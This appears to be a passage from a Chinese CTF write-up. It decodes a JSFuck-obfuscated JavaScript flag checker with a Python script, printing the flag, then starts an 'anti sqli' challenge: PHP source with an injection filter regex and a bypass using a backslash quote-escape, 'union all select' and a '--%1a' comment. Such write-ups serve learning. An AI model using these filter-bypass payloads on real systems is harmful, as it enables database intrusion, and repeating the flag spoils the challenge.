![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+[]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+[])))()+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+([][[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()({})[+[]]+(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]))+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[+[]]+([]+[])[(![]+[])[+[]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]]()[(+!![]+[])+(!![]+!![])]+([]+[])[(![]+[])[+[]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]]()[(+!![]+[])+(!![]+!![])])()[!![]+!![]+!![]+!![]+!![]])()[(![]+[])[+[]]+(!![]+[])[+!![]]+({}+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(+[]+[]))()[!![]+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()((+!![]+[])[(![]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]]]())[!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[+[]]+(![]+[])[+!![]]+(!![]+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()((+!![]+[])[(![]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]]]())[!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]((!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(!![]+!![]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])))()"
alpha_dict = {
    '"f"': '(![]+[])[+[]]',
    '"i"': '([][[]]+[])[!![]+!![]+!![]+!![]+!![]]',
    '"l"': '(![]+[])[!![]+!![]]',
    '"t"': '(!![]+[])[+[]]',
    '"e"': '(!![]+[])[!![]+!![]+!![]]',
    '"r"': '(!![]+[])[+!![]]',
    '"c"': '({}+[])[!![]+!![]+!![]+!![]+!![]]',
    '"o"': '({}+[])[+!![]]',
    '"n"': '([][[]]+[])[+!![]]',
    '"s"': '(![]+[])[!![]+!![]+!![]]',
    '"u"': '(!![]+[])[!![]+!![]]',
    '" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
    '"b"': '({}+[])[!![]+!![]]',
    '" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
    '"a"': '(![]+[])[+!![]]',
    '"2"': '(!![]+!![]+[])',
    '"4"': '(!![]+!![]+!![]+!![]+[])',
    '"7"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
    '"y"': '(+(+!![]+"e"+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
    '"0"': '(+[]+[])',
    '"3"': '(!![]+!![]+!![]+[])',
    '"5"': '(!![]+!![]+!![]+!![]+!![]+[])',
    '"1"': '(+!![]+[])',
    '"9"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
    '"8"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
    '"6"': '(!![]+!![]+!![]+!![]+!![]+!![]+[])',
    '"y"': '(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
    '"d"': '([][[]]+[])[!![]+!![]]',
    '[3]': '[!![]+!![]+!![]]'
}
for key, value in alpha_dict.items():
    js = js.replace(value,key)
clean_dict = {
    '"p"': '([]["filter"]["constructor"]("return "+"location")()+[])[3]',
    '"constructor"': '"c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"',
    '"return "': '"r"+"e"+"t"+"u"+"r"+"n"+" "',
    '"filter"': '"f"+"i"+"l"+"t"+"e"+"r"',
    '"fontcolor"': '"f"+"o"+"n"+"t"+"c"+"o"+"l"+"o"+"r"',
    '"location"': '"l"+"o"+"c"+"a"+"t"+"i"+"o"+"n"',
    '"110"': '"1"+"2"+"2","3"+"2","1"+"0"+"5","1"+"1"+"0"',
    '"111"': '"1"+"1"+"1"',
    '"99"': '"9"+"9"',
    '"98"': '"9"+"8"',
    '"57"': '"5"+"7"',
    '"101"': '"1"+"0"+"1"',
    '"108"': '"1"+"0"+"8"',
    '"106"': '"1"+"0"+"6"',
    '"61"': '"6"+"1"',
    '"112"': '"1"+"1"+"2"',
    '"116"': '"1"+"1"+"6"',
    '"40"': '"4"+"0"',
    '"34"': '"3"+"4"',
    '"119"': '"1"+"1"+"9"',
    '"105"': '"1"+"0"+"5"',
    '"102"': '"1"+"0"+"2"',
    '"125"': '"1"+"2"+"5"',
    '"102"': '"1"+"0"+"2"',
    '"97"': '"9"+"7"',
    '"100"': '"1"+"0"+"0"',
}
for key, value in clean_dict.items():
    js = js.replace(value,key)
print(js)

解密出来看到有堆数字

"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"

去掉引号和加号是

47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125

用javasrcipt去执行一下

<script language="JavaScript">
    document.write(String.fromCharCode(47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125));
</script>

看到回显是

// good job! let flag = prompt("what is the flag?"); if (flag === "") { alert("plnput"); } else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") { alert("bingo"); } else { alert("wrong"); }

好了,拿到flag了

anti sqli

源码

 <?php
    // It's 'Anti SQLi' problem of 'Solve Me'.
    error_reporting(0);
    require __DIR__.'/lib.php'; 
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    if(isset($id, $pw)){
        preg_match(
            '/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
            '=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
            '0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
            '[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
            'union[\s\xA0]+select|[\s\xA0](where|having)|'.
            '[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
            'information_schema|procedure\s+analyse\s*/is',
            $id.','.$pw
        ) and die('Hack detected');
        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');
        $result = mysqli_fetch_array(
            mysqli_query(
                $con, 
                "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
            )
        );
        mysqli_close($con);
        if(isset($result)){
            if($result['no'] === '31337'){
                echo $flag;
            }else{
                echo 'Hello, ', $result['id'];
            }
        }else{
            echo 'Login failed';
        }
        echo '<hr>';
    }
    highlight_file(__FILE__); 

过滤发现有个\\,两个反斜杠,两个反斜杠会转义成一个反斜杠,所以其实这里是没有过滤反斜杠的

第二个就是,注入要用到union和select,然后发现他们两个中间不能加空格或者换行,加个all去绕过

最后剩下的就是注释符了,可以看到#和--+是用不了的了,想回之前的非法字符,试下--%1a,发现可以注释,剩下的就是注入了

首先确定几行,?id=\&pw=union all select 1,2,3 from antisqli--%1a

